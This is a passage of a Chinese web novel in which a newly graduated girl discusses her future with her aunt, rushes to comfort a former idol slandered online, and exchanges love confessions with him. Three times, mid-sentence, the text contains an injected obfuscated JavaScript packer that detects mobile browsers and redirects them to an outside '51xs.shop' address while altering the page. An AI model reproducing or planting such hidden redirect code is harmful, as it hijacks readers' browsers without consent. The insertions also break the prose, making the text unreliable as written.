苏琬轻柔地摸了摸她的头发,穿过她的肩膀看见窗外阳光明媚,世界温和。 “黄怀予,接下来的路,也一起走吧。” * 校门口。 “云省楚门一中”几个大字旁,黄怀予和苏琬谷奕在拍照。 “你站这!不是不是,往右边一点。” “对对对,等会我再调一下高度。” 谷奕站在前面,微微弯腰,低头调三脚架高度。 “来!” 他朝着两人跑过来,眼里闪着笑意,微风吹起他鬓边长长的碎发,显出清新自然的蓬勃少年气。 然后一把插进了两人中间,两只大手用力一揽,手肘勾住左右两人的脖子,在黄怀予皱眉大声的叫骂里嘻嘻哈哈地捏住了左右两人的脸。 他本身就一米八/九又高又壮,力气又大,此时直接插进两人中间,两只有力的手臂又一把勾住了两人的脖子,几乎把左右两个女生牢牢定在他身边。 “咔嚓——” 黄怀予两只手用力去捏脖子上谷奕的那只手臂,他却还嘻嘻哈哈漫不经心地笑着,嘴上虽然说着“痛”,手上力气却一点也没松,又保持着勾住两人的脖子的姿势,手指放开了她们的脸,在脸旁边比了个“耶”。 “咔嚓——” 两张照拍完,他心满意足收回手,躲着身后黄怀予的打,三人闹成一团。 追了大半圈,黄怀予气喘吁吁地停下,却被苏琬拍了两下肩膀,示意她朝后看。 黄怀予转头,看见校门口不远处,站着一个女生。 是齐龙飞。 她就那样站在那里,静静地等着她们拍照,直到与黄怀予转身看过来的视线相撞,她才动了动,露出一个冷淡里带着一点生涩的笑容。 …… 黄怀予几步跑过去,笑着说:“你找我?” 齐龙飞盯着她跑过来,站在自己面前,有些不自然地点点头。 “……嗯。” “是来恭喜你。你考得很好。” 黄怀予一愣,随后露出一个很是灿烂的笑容,“谢谢。你考得才是最好的!今年的楚门市文科状元,恭喜你呀!你真厉害。” “想好去哪个学校了吗?”黄怀予问。 齐龙飞听到这个话题,一向显得有些冷淡的眼里难得多了几丝兴奋和期待,嘴边勾起小小的弧度,点点头。 “应该是会去帝都。第一志愿是W大的考古专业。” 黄怀予脸上闪过惊讶和钦佩,“你一定能得偿夙愿。” 她“嗯”了一声,又直直地盯着黄怀予的眼睛问:“你呢。” “我?可能就去江城大学吧……哈哈,还没决定呢,成绩才刚出来,先玩一会再想填志愿的事吧。不过……” 她停顿了一下,转向身后,遥遥地看见校门口,谷奕和苏琬站在那里,头聚在一起正在低头看相机。两人似乎是察觉了她的目光,倏地抬起头来,苏琬冲她招招手,谷奕站得吊儿郎当,冲她比了一个“耶”。 她不由得笑出声,随后又转过头,声音里带了一丝柔和。 “不管去哪里,应该都会和那两个人在一个城市。” “……”齐龙飞听到这个回答,先是有些呆,随后又像是不意外般点点头,“嗯。你有很多朋友,她们应该对你来说都很重要。” 她低下头,小声说:“是啊,你就是这样一个人。” “嗯?什么?”黄怀予没听清。 “我说。” 齐龙飞重新抬起头,看向她。 “其实从高二开始,你的名字就一直会在我们八班同学的口中出现。大家都默认知道快班和平行班之间的各种差距,这样的差距很多时候都已经不是客观上的了,而是主观心态上的落差。但是你,却是第一个考进年级前十的平行班同学。” “高二那次月考,你走进考场教室,一步步走向第一列的最后,当时所有人都在看你。那一刻,其实我就已经记住你了。” “我们不是高高在上的成功者,平行班的同学也不是卑微的失败者。一次分班考试而已,人生哪有输赢。你很强,很厉害,很认真,性格开朗,处事大方,和所有人都能打成一片,和所有人都能成为朋友。在我眼里,你一直都是我强劲的竞争对手。我从来没觉得超过你的时候有任何优越感,我只觉得庆幸,爽快,以及期待下一次和你的对决。” “那一次在天台,我们一起赏雨……那些话,那一幕,我会永远记得。” 齐龙飞仰起一向骄傲的脸,向她伸出右手,认真说。 “黄怀予,祝你前程似锦。” …… 六月底,昨天刚刚下了一场雨,此时的阳光也显得柔和,轻轻暖暖地照在楚门一中校门前潮湿的土地上。 黄怀予掩下心头震颤,抬起手,用力地握住了齐龙飞伸出的右手。 两只手交握在一起的瞬间,仿佛都能听见彼此的心跳声。 ——黄怀予。 她对自己说,毕业快乐。 和之前的那个自己,说再见吧。 * “你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112002|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么老是有事没事就来我这?” “不行吗?”黄怀予嘻嘻哈哈地躺在1969沙发卡座里,往嘴里扔了一粒花生米。 “行。”李鸣月笑了一声,坐在吧台边,手上按着计算器,头也没抬地算账。 “小姨,我正好想问你呢。” “你说填志愿的话,我是选自己喜欢的,还是热门的?” 李鸣月抬起头来看她一眼,“哟,不错,这话题确实经典。你在网上看的?” 黄怀予点点头,“网上都这么说,看来看去,我就发现填志愿到最后都是这两个方向。有的人说选热门的,不然出来不好找工作,会很后悔。有的人说选喜欢的,不然不感兴趣的东西学得太痛苦,到最后还是会转行。” 听到这里,李鸣月放下手里的笔。 “嗯,是这样。其实不止是填志愿。以后你可能会发现,人生所有问题都是这两个方向。” 李鸣月继续低头按着计算器,问:“你有喜欢的吗?” 黄怀予认真想了想。 “其实吧,我之前专门研究过,把文科生能选的专业都看了一遍,然后发现最感兴趣的那个叫社会学。其他的,哲学、历史、政治学也都还行。而且,我发现这好像确实也和我高三时候的学科偏好很接近,其他领域我都觉得没兴趣。” 李鸣月点点头。 “那就社会学。” “?” 黄怀予一下子直起身子看她。 “这么随意?你都不帮我查查资料给我点建议吗?” 李鸣月听到这话,从手里的计算器里抬起头来,认真地看着她。 ——“我的建议就是,不管你现在选什么,以后出来都可能找不到工作,都是给别人打工,都是当四十年的牛马。” ——“所以,不如选个你喜欢的。” 说完也没管这句话给尚且十八岁的黄怀予带来了多大的震撼,就继续低下头,波澜不惊地继续算账。 “……”黄怀予呆滞了。 原来是这样吗?这个世界好像和她想象的不太一样。 “你会不会觉得我很悲观?其实十八岁的我也和你一样。只是活到现在我才明白,世界就是充满折磨,我们得学会让自己别那么痛苦。” “文科没用这种说法,也许你已经听了很多年了。我也是文科生,文科是挺没用的,社会学这种冷门社科更加没用。但是它最大的用处就是,能让你脱离‘有没有用’这个概念去生活。” “面包是很重要,金钱是很重要,但是你能赚多少呢?你二十年赚的钱都没有谷奕躺在家里一天赚的钱多,他一生下来就已经走完了你这辈子的路了。只要你不是他这个阶层,那么在这之下,你是任何人都一样。所以比起这些,我更希望你活得通透自在一点,思考一点终极关怀的问题,在遇见困难的时候,不要太轻易走上天台。” 李鸣月端上一杯酸奶,放在黄怀予面前,露出一个有点玩世不恭的笑,轻声说。 “放心,我给你兜底。我和你泉姐这辈子是不打算要孩子了,到时候遗产都是你的。” “去做你想做的事情吧。” 137. 第 137 章 黄怀予木然地看着李鸣月。 一些不成形的情绪和想法在她脑子飘飘荡荡,但是又像是抓不住的风。 半晌,她突然开口。 “小姨,可以给我讲讲你当年从新娱离职的故事吗?” 李鸣月挑挑眉,像是没想到她会突然问这个。 不过几秒之后又露出一个“早知如此”的表情,点点头。 “我知道你迟早会问我的。” 她站起身,走回吧台,一边擦杯子,一边低着头讲话。 声音飘飘忽忽,像是她自己的思绪也跟着回到了几年之前。 “大学毕业以后我进了新娱公司,这是很光荣的结果,行业内大公司,前途似乎一片光明。可是进来之后我才慢慢发现,在这里,派系斗争已经到了极其严重的地步,表面看上去每个人都那么专业、那么光鲜亮丽,其实有能力的人并没有得到该有的奖励,而高位上的领导却尸位素餐。” “你知道楚恒在STAR里,最主要霸凌他的那个成员是谁吗?他叫赵焰,新娱公司总经理贾威是他的舅舅。” “这个公司里不止一个贾威。和我同期的一个新人员工女生被猥亵,对方借助职务之便和权力关系一直压迫受害者,一问才知道这样的受害者竟然在多年里竟然有十几位。报警也无人受理,所有的领导都在保人,有了权力,黑白都可以颠倒,是非都可以随意说。” “我见到过很多镜头前开朗,实际却重度抑郁的练习生,这个圈子本来就乱,大家都很浮躁,都想着赚快钱,都想着事不关己高高挂起,都拜高踩低,等级制度严格得像封建社会,人的尊严在这里根本没人在意。我在想,我读了这么多年书,一步步从楚门走到一线城市,带着荣耀和期待想要来帝都闯出一番事业,难道就是为了进入这样的环境的吗?” “当时那个人威胁我,如果我再闹下去就让我再这个圈子里混不下去,因为整个帝都音乐圈我都会找不到工作。我心想,操你大爷,你们这群人都去死!我继续往媒体上曝光,迫于大众舆论他被公司开除了,当然,我和受害者女生也被开除了。但是我们俩站在公司门口,只觉得前所未有的畅快!既然这是一个黑白不分的地方,我就一定要阳光照进来,让这些丑恶都暴露出来。我才不信,我是一个人,是一个活生生的人,我一定要过得有尊严。” “后来,我回楚门开了这家酒吧。好在这几年圈里也一直有人在默默支持我,1969开了以后有很多人都在帮我宣传,我很感激。” “楚门很小,家长里短,亲戚遍布,旧规矩和传统还没有被打破,女人在这里生活得很没意思。按照我以前的想法,这里并不是我想要长居的城市。” “可是,人生哪有完满呢?亲人在同城,爱人在身边,不缺钱,有事业,有也许不多但是狭隘的自由。这样的状态,我已经很满足了。” …… 突然,手机铃声响起,“叮铃铃——”打破酒吧大厅里称不上愉快的氛围。 李鸣月看了一眼屏幕上的来电,立刻露出一个温柔的笑。 “喂姐姐。” “好。等会见。” 她挂掉电话,上前几步拉起黄怀予的手臂。 “走!你泉姐在人民路等我们呢,我们去下馆子吃小龙虾,庆祝你的好成绩!” * 黄怀予躺在家里的沙发上。 电视放着偶像剧,女主角一个不小心摔倒,在柔光滤镜和漫天浪漫的BGM里倒在了男主角的怀里,两人嘴唇相贴。 她面无表情地看着这一幕,又叹了口气,心神不宁地盯着手里的手机。 ——“祝你开心到想(4)”群里,楚恒会偶尔在谷奕的要求下,更新他的合约进度。 他话不多,每天发几句话说清楚情况就算超额完成任务。 所以大家对这件事的进度掌握也就是,解约已经提了,公司那边也许是贾威的授意,违约金没有达到天价的地步,虽然是很大一笔数目但是也在意料之内,也许逼楚恒解约就是他们本来的目的。 一切都在进行当中,似乎也正是按照大家的预料一步步发展的。 但是不知道为什么,黄怀予总会有些不安。这是很大的人生转变,黄怀予觉得如果换做是她,这件事结束以后,都能感觉到新生。 …… 每晚睡觉前,黄怀予还会继续收到楚恒发来的腹肌照。 至今为止他已经尝试过各种各样的打扮和风格,每晚发过来之后就等待着黄怀予的评价。她能说什么,当然是好看好看都好看,学林志玲说“萌萌加油”,但是对面似乎总能从黄怀予千篇一律的评价里看出那么一点不同,然后猜测哪些是特别喜欢,哪些没那么喜欢。 黄怀予慢慢有一种错觉,对面这人好像已经通过这每夜的小游戏,一点点摸清楚了自己的喜好。 但是马上黄怀予就晃了晃脑袋。楚恒摸清楚她的喜好干嘛?她又不是他的领导。 再说了,她的喜好多容易明白——她就喜欢帅的,好看的。在这一点上,楚恒不管打扮成什么风格,他本人都足够满足。 黄怀予觉得这人也真是够心大的,明明大家都比较关心他的解约金问题,那几百万的债还悬在头顶上当着达摩克里斯之剑呢!这种时候谁要看你的腹肌? ……她想到这里突然顿了一下,摸摸鼻子,好吧,只有一点点想看。 她脑子里总会浮现出最后一天离开帝都的时候,在机场的餐厅里,楚恒就这样活生生地坐在她对面,但是她手里的手机却评论飞涨,在互联网的赛博世界里讨论着一个完全不符合现实的虚拟形象。 他虽然说这是他的工作,可是他也会难受的吧? 她躺在沙发上,有一搭没一搭地刷着微博,突然眼前闪过两个熟悉的字。 ——“STAR霸凌始末”。 她一个激灵立刻爬起来,认认真真地看。 这是一个转自某八卦论坛的帖子,微博上只能看到截图。图片里,论坛上有人整理出了大量细节,去论证STAR内部关系到底如何。 “先上结论,楚恒就是STAR霸凌主导者。” “以下是我整理出的时间线,每一个关键时间都有截图为证,有些照片或者视频因为时间太过久远或者当时发布者本人已经删除了,我都有截图存档,全部放在下面,是非对错大家看完自会有评判。” “首先就是2017年9月,江城电视台某综艺节目,STAR上去打酱油露了个面,最后给了个机会打了一次歌。节目最后有采访环节,工作人员问‘看来STAR成员内部关系都很好啊’,这个时候所有人表情都很正常,带着笑,只有楚恒臭着一张脸,面无表情。” “赵焰接话说是啊,大家平常都会一起逛街,上次楚恒逛街看中了一件衣服,还是赵焰买单送的。他这样给楚恒递话,稍微有点情商的也应该赶紧说对,结果楚恒居然一言不发地盯着摄像头,像是很不愿意承认这件事一样,眼里冷冰冰的。最后一个问题问完,大家都不高兴,采访气氛降至冰点。” “采访视频如下,大家自己看。” “第二,就是之前很有名的《男团学》那篇帖子的经典名场面。赵焰过生日,粉丝在公司门口等着送礼物,他想着把楚恒拉过来露个面出镜,结果楚恒完全不领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125500|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,还皱着眉一把甩开了他的手。当着镜头就敢这样,镜头之下不知道能关系差到什么程度,装都不愿意装一下。” “视频现在网上还有,是粉丝自己拍的,我也放在下面大家自行评判。” “第三,2017年12月楚恒生日。赵焰发微博给楚恒送了一个LOEWE的包,祝他生日快乐,但是楚恒也没有任何表示。这包后来也没有见到楚恒背过。咱就是说,人家送礼物,你说一声谢谢总是基本礼貌吧?送了之后你不背,是看不起别人的东西吗?” “第四,也是所有证据中最捶的。这个博主‘栗栗王’是STAR私生粉,之前一直都发一些接机送机之类的活动。某一天突然发了一条粉丝可见微博说要去新娱公司大楼碰碰运气。评论里有人蹲结果,结果三天之后博主都没消息。第四天又发了一条粉丝可见微博‘滤镜全碎,心疼我担’。” “查看她以前微博内容,发的最多的就是顾安,所以她担应该就是顾安。有人在评论区问她在公司大楼看到了什么,她说正好撞见楚恒和顾安在楼梯角讲话,两人似乎起了冲突,最后顾安说‘大家都是队友,没必要这样吧’。” “现在这条评论已经被她删除了。” “这条简直就是雷神之锤,如果说之前还只是楚恒和赵焰之间有矛盾,现在可是连顾安都牵扯进来了。顾安什么人品,合作过的前辈后辈都说他温柔,之前新娱那个综艺里几个练习生都说顾安很关心他们,是很好的人。如果连顾安都受不了楚恒霸凌,当面进行劝说,那就说明楚恒已经嚣张太久了。” …… 下方评论: “卧槽,感觉会火,留名。” “真是庙小妖风大,楚恒真应该感谢STAR糊和自己糊,不然换成任何一个稍微火一点的团,早就爆出来了。” “别的不说,那个私生粉的真的太捶了,私生和后援会大粉一般都是知道内情最多的,她也根本没必要撒谎去编这么大一个谎,甚至连顾安和楚恒之间说的话都能编出来。” “这几个放在一起看真的太震惊了,怎么会有人嚣张成这样,你欺负别人你还有理了?” “我以前本来还觉得他唱歌挺不错的,现在看来人品也太低劣了,实力好又怎么样,德行差!” “有点心疼顾安,这就是老实人被逼急了的感觉,平时他应该也是在赵焰和楚恒之间调停,实在是看不过去了才站出来帮忙说话。” “幸好他退团了,退得好,早就该退了!还说是他身体不好,别是给他留了面子吧?我看其实就是霸凌在公司面前败露了,找了个不痛不痒的理由开除了!” “为我以前把他当成过墙头而感到恶心!” “人渣总算退团了,希望STAR以后发展得越来越好吧。” “赵焰有点可怜,又给队友买衣服又送名牌包,可惜是个白眼狼。” …… 黄怀予像是自虐一般看完了所有文字。 她关掉手机,又打开,又站起身在客厅里走来走去,又重新坐下打开手机,又关掉,反反复复多次。 这个时候,她才发现自己浑身都在发抖。 她握着拳头,深呼吸几大口,终于下定决心,拨了“楚老师”的电话。 对面响了七声。 每响一声,黄怀予都觉得这声音像是对自己的凌迟。 心一点点地沉了下去。 第七声结束,听筒里传来“对不起,您拨打的电话无人接听……”的机械女声,黄怀予骤然站起身,点开订票APP,定了当晚从江城去帝都的飞机,把乱七八糟的东西往书包里塞,背上书包冲出了家门。 138. 第 138 章 黄怀予不知道自己在干什么。 等她反应过来的时候,她人已经在帝都机场了。 LED屏上闪着花花绿绿的明星代言,黄怀予眼前一晃,才发现那上面原来是沈一瑾的广告,手上拿着一瓶饮料,对着镜头笑得青春靓丽。 她站在原地,给外婆打了个电话,说自己又要去帝都玩几天,身上有钱,让她别担心。又点开一个旅游APP,定了三晚的酒店。 夜晚机场的冷气开得很足,迎面走过形形色色的人,黄怀予背着包,走在这陌生的宽阔机场里,一步一步只觉得寒气像是要钻进自己心里。 她不明白,也不能想象。 每一个独自舔舐伤口的夜晚,每一个看不见希望的夜晚,他是怎么熬过来的? 怎么能把一个人的伤疤这样赤裸裸地揭下来,把每一段痛苦的记忆都当着全世界人的面重现、倒带、翻转,把一个人绝望的挣扎当成是打击对方的利器,不知廉耻地利用不知真相的大众来重重地毁掉一个人。 每一条对他的指控,都是曾经伤害他的记忆。每一篇对他莫须有的加罪,都是曾经作为受害者的苦难。 桩桩件件,没有反悔,没有羞愧,没有认错,只有我要你带着一身脏水被开除、负债,再也不得翻身。 她独自一人走在这不算熟悉的城市,脑子里空白一片,心里却像漂泊在万丈深的海洋中心,浓厚强烈的即将涌出来的情感一遍遍拍打着礁石,马上就要冲垮理性的堤坝。 等她坐上出租车,报上了一个地址,车停在路边,她一步步走到一栋住宅楼下的时候,她才后知后觉感到一丝退缩。 黄怀予停下脚步,抬头往上看。 这是一栋小区住宅楼,环境清幽安静,是楚恒从新娱宿舍搬出来后出来租的房子。 之前毕业旅行的时候,楚恒曾经带她们来过一次,只是他一个人上去取了一点东西就下来了,她们三人都不曾上去。 黄怀予按了电梯,看着上面的数字一点点跳动,手心都出了一层汗。 电梯门打开,她走出来,一步步走到楚恒家门前。 抬起手准备敲门的那一瞬间,她突然感觉一盆冷水当头扑了下来,清醒了不少。 黄怀予,你是不是有病?你在干什么? 你一个人晚上独自来一个不熟悉的大城市,你很有钱吗?你不怕出事吗? 你在网上看见一条微博你就直接跑来他家门口,你以为你是什么为爱牺牲的伟大的人吗? 你算什么?对他来说你算什么? 你疯了? 黄怀予咬着牙,闭着眼,敲响了房门。 ——嗯。老娘疯了。 …… 敲了三声,里面安安静静,没有任何声音。 黄怀予垂下手,不小心往下砸到了门把手,砸得有点痛,她龇牙咧嘴了一下,随后立刻发现,这扇门竟然已经自己开了一条小小的缝。 没锁? 她睁大眼睛,想也没想就拉开门走了进去。 入目是客厅,开着一盏极其黯淡的落地灯,除此之外再无其他光源。 黄怀予脱了鞋走在地板上,快步往里面走着,想走到卧室去找楚恒,却一下子停住脚步。 客厅沙发前的地板上,躺着一个人。 身材清瘦,穿着白色T恤,乌黑的发丝垂到地面,头偏向一边倒在地板上,浓密的睫毛安安静静地垂着,闭着眼像是睡着了。 黄怀予一抖,吓得心都要跳出来了。 ——他这么爱干净的人,怎么可能有床和沙发不睡,就这样躺在地上,门都不关? 她几步冲过去,坐在他身边,慌里慌张上前去晃他。 “楚老师!楚老师!” 他额前的头发随着黄怀予的动作轻轻晃动,脸色苍白,嘴唇干涩,双眸紧紧闭着,仿佛还沉在深深的噩梦之中。 晃了半天没反应,黄怀予又去掐人中,拍他脸。 “楚恒!楚恒!” “完了完了,是要做人工呼吸吗?”她惊慌失措地摸着楚恒的脸,“不对,是不是应该心肺复苏?” 她扇了自己一下,让自己冷静,回想起电视里的场景,正准备先看看楚恒口腔里有没有异物,呼吸是否通畅,再人工呼吸。 结果手指才刚刚摸上他的唇,楚恒浓密的睫羽就轻轻颤抖了一下,慢慢睁开了眼睛。 “你醒了!” 她看着楚恒毫无表情的面孔和没有焦距的瞳孔,总算放松下来,“你还好吗!” 楚恒直勾勾地盯着她,不回答。 她暗道不好,颤抖伸出一只手指,“这是几?” “一。”他开口。 她伸出三根手指,“这是几?” “三。” 她又用手指指着自己的脸,“我是谁?” 楚恒不说话了。 黄怀予急了。 以为他已经清醒过来了,没想到只会数数,不会认人! “你说呀!我是谁?” 楚恒还是抿着嘴,不说话。 黄怀予耐心耗尽,正准备拉他起来去医院。 ——下一秒她的手腕就被人握住,紧接着就被一股不容置疑的力量拉进了一个充满小苍兰气味的怀抱里。 楚恒坐了起来,两只有力的手臂紧紧抱住她,把头用力埋进她的肩窝,沉闷的呼吸打在她颈侧的皮肤上,热热的酥麻感,激得黄怀予浑身一颤。 黄怀予一瞬间呆滞住。 她能感受到楚恒身体在微微发抖,他抱得很用力,像是要把她整个人融进骨血里,像是刚刚才从噩梦中惊醒之后又用力抓住生命的光。 两人此时上半身紧紧贴合没有一丝缝隙,她甚至能感受到楚恒的心脏也和她的心脏一样,隔着胸膛,一下一下,沉默地跳动,在这昏暗的房间角落里交融。 她有些犹豫地抬起手,最终还是落在了他的背上,轻轻地拍了拍。 像是安抚,像是拯救。 “……算啦。” “不记得我就算了,人没事就好。” 她抬起右手,摸了摸他柔软的头发,发丝穿过指间又落下,像是揉揉某只受伤的小动物。 被摸头的第一秒,他稍微瑟缩了一下,身体僵硬了一瞬。 黄怀予以为他不喜欢被摸头,刚想把手拿下来,随后就感觉身上的人似乎肉眼可见地放松下来,整个人更加用力地把她紧紧抱住,头使劲地往她脖颈里蹭,又蹭到鬓边去嗅她的发香。 “你是不是做噩梦了?” “别怕,梦是反的。” “你已经醒啦,明天会很美好的。” 她声音轻轻柔柔,又有些沙哑,在这安静的房间一隅飘飘散散地响起。 说完,又还是希望他此时此刻能想起来什么,有点不甘心地补充。 “我叫黄怀予,外号叫杯子,云省楚门人,今年18岁。” ……这是一番很不合时宜的自我介绍,在这安静昏暗的氛围里显得极其无厘头。 但是黄怀予真的有点不甘心,怎么楚恒做了个噩梦起来看上去一副失忆的样子,偏偏智商都没问题,就是不记得她。 所以,她还是说出了这番自我介绍,希望他能记住。 却不想,怀中的人一下子抱她抱得更紧了,好像有什么柔软的东西蹭过她肩侧的皮肤,灼热的呼吸一路像是点起火焰,痒痒的。 半晌,他才默默开口。 “是一个开朗自信大方潇洒的美女。” ? “你没失忆啊?” 黄怀予呆立当场,又觉得不对,问他: “这你都记得?” 她想挣开他的怀抱看看他现在的状态,但是她一动,楚恒就察觉到她要离开,直接上半身往前一压,黄怀予“唔”了一声,猝不及防被他压着往后倒,最后背被沙发拦住,整个人都以一个被他牢牢包着的姿态压在沙发边。 “永远都不会忘。” 他声音沉闷。 “任何时间,任何地点,都不会忘。” “你说过的每句话。” …… 楚恒安安静静坐在沙发上。 没做任何造型修饰的头发柔软地垂下,遮住了一点点眼睛,低眉顺眼,看着很乖巧。 黄怀予检查了他家厨房,把刀收了起来,又跟他说要好好的,最近别上网,老老实实把合约的事情弄完,弄完就能迎接新生活了。 她交代了很多事情,楚恒一言不发,就这样安静地听着。 她每说一句,他就点点头。 黄怀予看他像是很听话的样子,稍微放下一点心。 她低头看看自己周围,突然一瞬间哑然,她有点后知后觉地意识到自己好像摆出了一副主人的架势,就这样骤然出现在他家里,然后对他做出了一大堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132553|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命令的动作。 你大半夜就这样骤然出现在一千公里之外的他家,这件事难道不奇怪吗? 你以什么身份这样关心他? 这样在他家里走来走去,让他不要做这不要做那,侵犯个人边界感,他不会嫌你烦吗? 想到这里她忽然涌上一股难堪,心头攥着酸酸涩涩的微麻,又暗道自己做了多余的事情,立刻就站起身,脚步匆匆地朝门口走去。 “那我先走了。晚安。” 还没走几步,身后却突兀响起一道声音。 “去哪。” 黄怀予停下脚步,却没回头。 “回酒店。” 身后的人沉默两秒。 “为什么。” 他问得骤然听起来有些莫名其妙,但是黄怀予却听懂了他的意思。 她装作没听懂,扯出一抹比哭还勉强的笑,尽量用轻松平常的语气讲着:“回酒店睡觉。” 却没想到,身后却响起那人直接到几乎要掀开所有伪装的回答。 ——“你知道,我问的不是这个。” 黄怀予一抖。 你知道,我问的不是这个。 我问的是,为什么你今晚会突然来帝都? 为什么你现在会出现在我家里? 为什么你没有提前说,没有电话没有短信,晚上一个人就这样一步步从楚门来到了这里? 你是来找我的吗? 你是来看我的吗? 你是,想和我见面吗? “……楚门太无聊了。” 黄怀予依然没回头,盯着昏暗光线下的大门,她看不见自己的表情,只是攥紧拳头,声音里还带着一点笑。 她兢兢业业演着那个插科打诨的形象,她想,如果她长得好看又家里有钱,其实很适合去学表演,应该跟林潇潇一起去考帝都电影学院。 “楚门太无聊了。帝都多好玩,我没玩够。” “暑假太长了,想给自己找点事情做,所以一个人过来玩几天。” 她转过身,脸上已经摆好了一个大咧咧的笑。 “正好晚上在周围景点闲逛,想起你家就住这附近,顺便过来看看。哈哈,你没事就好啦。我走了。拜拜!” 她立刻转过身,弯腰捡起地上的书包,脚步飞快,几乎是怕自己多讲一秒钟就露馅。 ——却有一个身影比她更快,迈开长腿,几步就骤然从她身侧掠过,走到门边,按下了门锁,“啪——”地一声阻断了她想要快速逃离的计划。 他站定,回头,看她。 “是吗。” 轻描淡写两个字,带着主人公一贯的平静,却像给了黄怀予后脑勺一记闷头重锤。 谎话说得越多越假,解释得越多越会被轻易看穿。 她不敢看站在自己正前方的他,只能移开眼神,低下头才发现原来自己的手都在抖,她一把把手背到身后,手指紧紧绞在一起。 “我还以为,” 楚恒声音很低沉,却一字一字清晰地飘进黄怀予耳朵里。 “是你突然想见我了。” “才会突然到我家,做这些堪称暧昧的事。” !! “……暧昧?” 黄怀予已经快要站不住了,她眼里好像已经要涌出什么东西了,她扯出一个很难看的笑。 “我和你吗?不会不会。你,你这种人,能和你这种人暧昧的,只可能是那些漂亮女生,比如,比如沈一瑾?对吧,我来的时候还看见她的代言了。你和这种女生之间才可能会有暧昧发生吧,对,我是看透暧昧的专家,我知道的。” 乱七八糟的话,毫无逻辑,结结巴巴,口不择言——扯到了一位和此情此景毫无关系的第三人,甚至连这位第三人在场都会觉得自己无辜的程度。 楚恒却好像听也没听,抬眸,直直地盯着她的脸,一步一步走到她面前。 他步伐很稳,一步步走,越来越近,直到距离她只有十厘米左右的距离,直到她面前就是他宽阔的胸膛,直到她几乎可以闻到他身上的味道。 黄怀予不由得退后两小步,却被倏地抓住手腕。 “你是看透暧昧的专家?” “可是这位专家小姐,怎么就是看不出,” 声音很低,贴着她的耳边,却像扔下一道炸雷。 “你和我之间,才是真正的有暧昧呢。” 139. 第 139 章 脑子里像是有什么东西“轰——”地崩裂。 所有遮掩、躲藏、慌张、谎言都好像一下子被掀翻了最后一层遮羞布,阳光照进来无处遁形,只能尖叫着抱头鼠窜。 堤坝被冲毁,汪洋大海卷起滔天骇浪,冲破了所有理性的关卡,她浑身发抖,终于深呼吸几口气崩溃般吼出来: ——“对!我喜欢你,可以吗!” 黄怀予一把挣开他的手,猛地抬起头,对着楚恒的眼睛。 “楚恒!我喜欢你!” “我告诉你我喜欢你!” “那又怎么样?” “我喜欢你,那又怎么样?” “你随随便便送我去医院我就能心动,你让护士借给我一个热水袋我就能挂念好久,你去酒吧演出两次我就能做梦梦见你十回,你好高贵,你好高高在上,你勾勾手指我就过去了!” “你以为我很愿意管别人的闲事吗?你以为我很闲吗?世界上难过的人那么多,我怎么就非要天天劝你鼓励你呢?我是红十字会,我春满人间,我是雷锋啊!我自己都过得一团乱麻天天崩溃我还天天给你灌鸡汤!” “你为什么长得那么好看?你为什么老是对别人冷冰冰就对我笑?你为什么来质问我是不是在躲你?你为什么每天晚上给我发你的照片?” “你为什么要我记得和你的第一次见面不然你就不高兴?你为什么当着冯尽欢和卫语的面说你是我的男朋友?你为什么抱住我一起滚下山坡?” “我喜欢你怎么了?那又怎么样?你他大爷的又不喜欢我!你勾引我干什么?你做这些事情干什么?” “你会喜欢我吗?你怎么可能喜欢我呢?你喜欢我你不是有病吗?谁会喜欢我?这个世界上没有人喜欢我,我亲爸都不喜欢我,如果不是我外婆我早在娘胎里就被人打掉了!” “谁会喜欢我?我长得那么胖,那么丑,谁会喜欢我?我脾气暴躁,我家里没钱,我俗气透顶,我争强好胜,我再不学着幽默一点、学着插科打诨逗人笑一点,谁会和我一起玩?” “我讨厌你,我讨厌死你了,我本来在家躺着吹空调看电视剧,多么舒服的暑假,就是因为上网看到有人污蔑你,我脑子一热直接买张机票就飞过来了!帝都热死了,我好热,我要回家躺着吹空调,我要喝我外婆做的绿豆汤!我才不要在这里跟你在这里扯来扯去,我讨厌你!你是我最讨厌的人——” 黄怀予话还没说完,就被一道大力扯到一个温暖宽阔的怀抱里。 楚恒强行压下她所有挣扎,紧紧地抱住她,用力地吻了一下她的耳朵,温热的呼吸拂过她肩侧。 ——“我爱你。” 怀里的人一下子不动了,像是浑身被点穴定住。 楚恒大掌抚过她的头发,把她压向自己胸口,埋头在她耳边吻她的脖子。 “我爱你。” 怀里的人骤然放松了下来,开始有一两声压抑的哭声从他胸口传出来,随后慢慢哭声越来越大,她抽噎着攥紧了他的衣角,泪水决堤一般打湿了他胸前的衣襟。 